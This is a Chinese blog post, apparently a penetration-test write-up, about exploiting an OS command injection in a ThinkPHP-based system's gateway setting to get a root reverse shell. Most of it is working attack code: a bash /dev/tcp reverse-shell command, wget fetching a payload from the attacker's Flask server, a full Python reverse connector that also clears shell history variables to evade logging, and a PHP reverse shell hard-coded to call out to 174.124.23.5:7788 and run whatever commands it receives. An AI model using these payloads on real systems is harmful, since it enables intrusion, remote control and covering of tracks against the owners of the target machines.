零、绪论

背景:

ThinkPHP框架的-->

找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处。

一、渗透过程

1、首先看了一下,没有回显。

2、用ceye.io看DNSlog发现不能连接外网。

3、内网ping ok!说明可以的,确实命令执行。

从一次渗透谈到linux如何反弹shell-LMLPHP

4、弹bash 最常见的监听端nc

 nc -p  -l -v

二、下面开始弹bash:

1、最常见的bash的

 bash -i >&  /dev/tcp/a.b.c.d/ >&
#没成功,尝试bash -c 执行命令成功了
#尝试wget 访问我的flask http服务器OK
#尝试编码发现失败

2、追问了某大佬考虑<>及其编码字符被转移,考虑ssh反向连接或者脚本反向连接。

3、开始搞pl脚本,尝试多次失败(后来发现原因:wget从我自己搭建的flaskHTTP服务上面下反向连接脚本的时候保存的文件名不对)

4、搞python的,自己很熟悉。从朋友那里搞了一个python反向连接弹shell的脚本。通过flask和wget传到服务器上。

5、加运行权限 执行 getshell root权限

从一次渗透谈到linux如何反弹shell-LMLPHP

6、python脚本代码公开:

 #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
back connect py version,only linux have pty module
code by hero
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'')
os.putenv("HISTFILESIZE",'')
pty.spawn(shell)
s.close() if __name__ == '__main__':
main()

三、从这里开始思考,linux各种反弹shell的做法:

这里先补充一个windows、linux下都可以反弹shell的php脚本

 <?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '174.124.23.5';
$port = '7788';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
} if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}
?>

下文引自:

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

05-10 21:46